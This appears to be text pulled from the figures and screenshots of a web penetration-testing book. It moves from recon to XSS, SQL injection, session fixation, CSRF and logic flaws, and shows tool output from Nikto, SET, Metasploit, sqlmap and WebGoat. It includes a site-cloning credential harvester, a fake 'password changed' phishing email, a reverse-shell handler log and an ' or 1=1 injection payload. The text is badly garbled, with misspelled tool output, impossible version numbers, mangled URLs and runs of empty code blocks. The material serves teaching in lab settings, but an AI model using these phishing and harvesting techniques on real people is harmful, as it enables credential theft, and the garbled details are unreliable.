Chapter 1: Common Web Applications and Architectures
Chapter 2: Guidelines for Preparation and Testing
Chapter 3: Stalking Prey Through Target Recon
In progress:

- Time: 0s
- Transfer rate: 1.0427 MiB/s
- Connections: 1

In progress parsing HTML file (1):

request: https://www.hackthissite.org/CR8RMARAMMPMHzkxLVIzvNnU5LWOoW9yFvRz/Wud8k8jy608/zeH2g7Gp/3f7t8W5P8e5.html?hF=8K8v8

response: html
content:

Get Free Bing Search Engines

There is an index.html and a hts-cache folder in the directory /home/mirrors/hackthissite/
A site may have been mirrored here, that could mean that you want to update it. Be sure parameters are ok.

Press <Y>-<Enter> to confirm, <N>-<Enter> to abort
nikohall:~ # nikto -useproxy -Tuning x 6 9 -h 192.168.1.128
- Nikto v2.1.6
+ Target IP: 192.168.1.128
+ Target Hostname: 192.168.1.128
+ Target Port: 80
+ Start Time: 2017-03-13 19:23:24 (GMT-4)
+ Server: Apache/2.2.8 (Ubuntu) DAV/2 mod fastcgi/2.4.6 PHP/5.2.4-ubuntu5 with
Suhosin-Patch mod ssl/2.2.8 OpenSSL/9.9.8
+ Server leaks inodes via Elaps. header found with file /, inode: 838422, size:
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user
agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent
to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /crossdomain.xml contains a full wildcard entry. See http://jeremiabaggma.
blogger.com/2008/05/crossdomainxml-invites-cross-site.html
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to
 easily brute force file names. See http://www.w3sec.it/sectou.php?id=4690bedc59
d15. The following alternatives for 'index' were found: index.bak, index.html
+ PHP/5.2.4-ubuntu5 appears to be outdated (current is at least 5.6.9). PHP 5.25
and 5.4.41 are also current.
+ mod_ssl/2.2.8 appears to be outdated (current is at least 2.8.31) (may depend
on server version)
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.12). Apache
2.0.65 (final release) and 2.2.29 are also current.
+ OpenSSL/9.9.8 appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.1k
and 1.0.1l are also current.

Top Level Domain

Files, People and Certs

Email Addresses, Pivoting To Related
1) Web Templates
2) Site Cloner
3) Custom Import

9) Return to Wconnected Menu

set:webattack3

1) Credential harvester will allow you to utilize the clone capabilities within SET
2) To harvest credentials or parameters from a website as well as place them into a report
3) This option is used for what IP the server will POST to
4) If you're using an external IP, use your external IP for this
5) set:webattack IP address for the POST back in Harvester/Tab/000:10000.1.131
6) Example: (Webwww/ (make sure you end with /)
7) Set the path to the website to be cloned:
8) Example: http://www.blah.com
9) set:webattack URL of the website you imported: http://www.hackthissite.org

The best way to use this attack is if username and password form
fields are available. Regardless, this creates all POSTs on a website.
1) The Social-Engineer Hack this Credential Harvester Attack
2) Information will be displayed to you as it arrives below:

[Image of Firefox window with a login form]

Potential Credentials!

Press <return> to continue
Chapter 4: Scanning for Vulnerabilities with Arachni
Chapter 5: Proxy Operations with OWASP ZAP and Burp Suite
### Passive Scanning Areas

These settings control the types of checks performed during passive scanning:

- Headers
- MIME Type
- Forms
- Caching
- Links
- Information disclosure
- Parameters
- Frameable responses ("Clickjacking")
- Cookies
- ASP.NET ViewState
- Server-side issues

#### Frameable response (potential Clickjacking)

**Issue:** Frameable response (potential Clickjacking)

**Severity:** Informational

**Confidence:** High

**Host:** https://10.50.10.100

**Path:** /index.php

**Issue Description:**

If a page fails to set an appropriate "Content-Security-Policy" or "X-Frame-Options" header, it might be possible for an attacker to embed content into another web page using a frame, which the attacker can use to work on the target application's interface with a different interface provided by the attacker. In order to do this, the attacker can cause the victim to see a clickjacked link in a suspicious page.
Chapter 6: Infiltrating Sessions via Cross-Site Scripting
Your password changed

Account Services

Wednesday, May 25, 2016 at 2:10 PM

This message is high priority.

Account Services

Your password changed

Hi,

The password for your account was recently changed.

Don't recognize this activity? Click here for more information on how to recover your account.

Best,
Account Services Team

This email can't receive replies. For more information, visit the Accounts Help Center.
```
 nef exploit(bastler) > exploit
[*] Started reverse TCP handler on 172.16.30.128:4444
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 172.16.30.132
[Mon 04/03/2017 17:38:41]
```

```
$ ls -alrt
```

```
```
```
```
```
```
```
```
```
```
```
```
Chapter 7: Injection and Overflow Testing
POST /multilidse/index.php?page=login.php HTTP/1.1
Host: 172.16.38.129
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: showhint=1; PHPSESSID=ai4rtd3p3j43r3l7k3ss5s5r17; acceptdivid=sunngses
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

username="*"&password="*" login.php-submit-button=Login

SQLmap identified the following injection point(s) with a total of 13785 HTTP(s) requests:

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Type</th>
<th>Title</th>
<th>WHERE clause</th>
<th>MySQL comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>username</td>
<td>POST</td>
<td>Boolean-based blind</td>
<td>WHERE or HAVING clause</td>
<td>MySQL comment</td>
</tr>
<tr>
<td>password</td>
<td>POST</td>
<td>Boolean-based blind</td>
<td>WHERE or HAVING clause</td>
<td>MySQL comment</td>
</tr>
<tr>
<td>id</td>
<td>POST</td>
<td>Integer-based blind</td>
<td>WHERE or HAVING clause</td>
<td>MySQL comment</td>
</tr>
</tbody>
</table>

There were multiple injection points, please select one to use for following injections:

5: place: PEST, parameter: username, type: Single quoted string (default)
8: place: PEST, parameter: password, type: Single quoted string
We need to determine what our HTTP request will look like. Below are the available HTTP parameters. Please enter the number of the parameter you would like to edit. When you are done setting up the HTTP parameters, you can type 'done' to keep going.

1) files
2) headers
3) cookies
4) url
5) allow_redirects
Value: True
6) proxies
Value: False
7) data
Value: username=' or 1=1 ... 
8) method
Value: GET
9) auth

99) Go back to the main menu
// PHP Code Injection //

This is just a test page, reflecting back your message...

MikeRules
Chapter 8: Exploiting Trust Through Cryptography Testing
1) Basic Connectivity and Negotiation

2) Certificate Checks

3) Special Modules and Resiliency

4) Cipher Suite Testing

5) Scan Time
Chapter 9: Stress Testing Authentication and Session Management

[Diagram of authentication and session management processes]

Consider anonymous external attackers as well as authorized users, who may attempt to steal accounts from others. Also consider insiders wanting to disguise their actions.

Developers frequently build custom authentication and session management schemes, but building these correctly is hard. As a result, these custom schemes frequently have flaws in areas such as logging, create account, change password, forget password, timesheets, remember me, secret question, account update, etc. Finding such flaws can sometimes be difficult, as each implementation is unique.

Each flaw may allow the attacker to perform certain actions, such as hijacking tokens, brute force credentials, or forge sessions.

[Diagram of an attack scenario involving Dropbox]

Consider the business impact of public exposure of the vulnerability.
**Bus System [Live capture #1: https://192.168.10.138]**

**Effective Entropy**

This metric reflects the number of effective groups of web applications under attack. Each application group defines a potential probability of the share of web application sessions. The probability of sessions within the same group is generated. The probability of sessions across different groups is reflected. This analysis is repeated to report the effectiveness of the share of web application sessions within the same group.

**Session Fixation**

1. Request URL
2. Receive SID
3. Ask Victim to visit site using SID
4. Visit Site with SID
5. Challenge Auth
6. Authenticate
7. Access with Legit SID
8. Return Result

**OWASP WebGoat v.5.4**

Session Fixation

- Introduction
- General
- Web Application Attack
- OWASP Web Test
- Session Fixation
- Session Management Failure
- Session Management Failure

Solution Notice

STAGE 4: It is time to steal the session again. Use following link to reach Goat Hills Financial.

You are: Hacker Joe

* Congratulations. You have successfully completed this lesson.*

Username: Jane
Lastname: Ross
Credit Card Type: MC
Credit Card Number: 74588684
Chapter 10: Launching Client-Side Attacks

[Diagram of various attack vectors, vulnerabilities, and business impacts]

- **Application Specific**
  - Consider anyone who can access and manipulate data in the system, including external users, internal users, and administrators.

- **Prevalence**
  - For widespread, easy, and moderate

- **Impact**
  - For easy, moderate, and severe

- **Application / Business Specific**
  - Consider the business value of the affected system and all the data it processes.

- **Business Impacts**
  - Consider the business impact of public exposure of the vulnerability.

---

[Another diagram focusing on specific attack methods and corresponding vulnerabilities]

- **Application Specific**
  - Consider anyone who can submit a request to your website.

- **Prevalence**
  - For common, uncommon, and rare

- **Impact**
  - For moderate, severe, and catastrophic

- **Application / Business Specific**
  - Consider the business value of the affected data or application functions. Imagine not being sure if users intended to take these actions.

---

[Example scenarios and countermeasures]

- **Cross-domain Referer leakage**
  - Scenario: User submits login credentials.
  - Countermeasures: Use HTTPS, validate the origin of the request, and implement proper access controls.
**CSRF (Change Password)**

Change your password.
- New password:
- Re-type new password:
- Change

The password has been changed!

---

**Create User**

Create an extra user.
- Login: test
- E-mail: test@example.com
- Password:
- Re-type password:
- Secret: Hello Hackers!
- E-mail activation: ☐

Create

---

![Web page elements](image1.png)

- The victims account is now our account

---

![Web page elements](image2.png)

- ![Request headers](image3.png)
Chapter 11: Breaking the Application Logic
What is Poor Data Validation?

To get the result key to this lesson, you must bypass the validation in the following function and submit a negative number.

An Error Occurred: Invalid Number: Number must be greater than 0

Enter a number: -1234

Submit Number

Would you like a hint?
Chapter 12: Educating the Customer and Finishing Up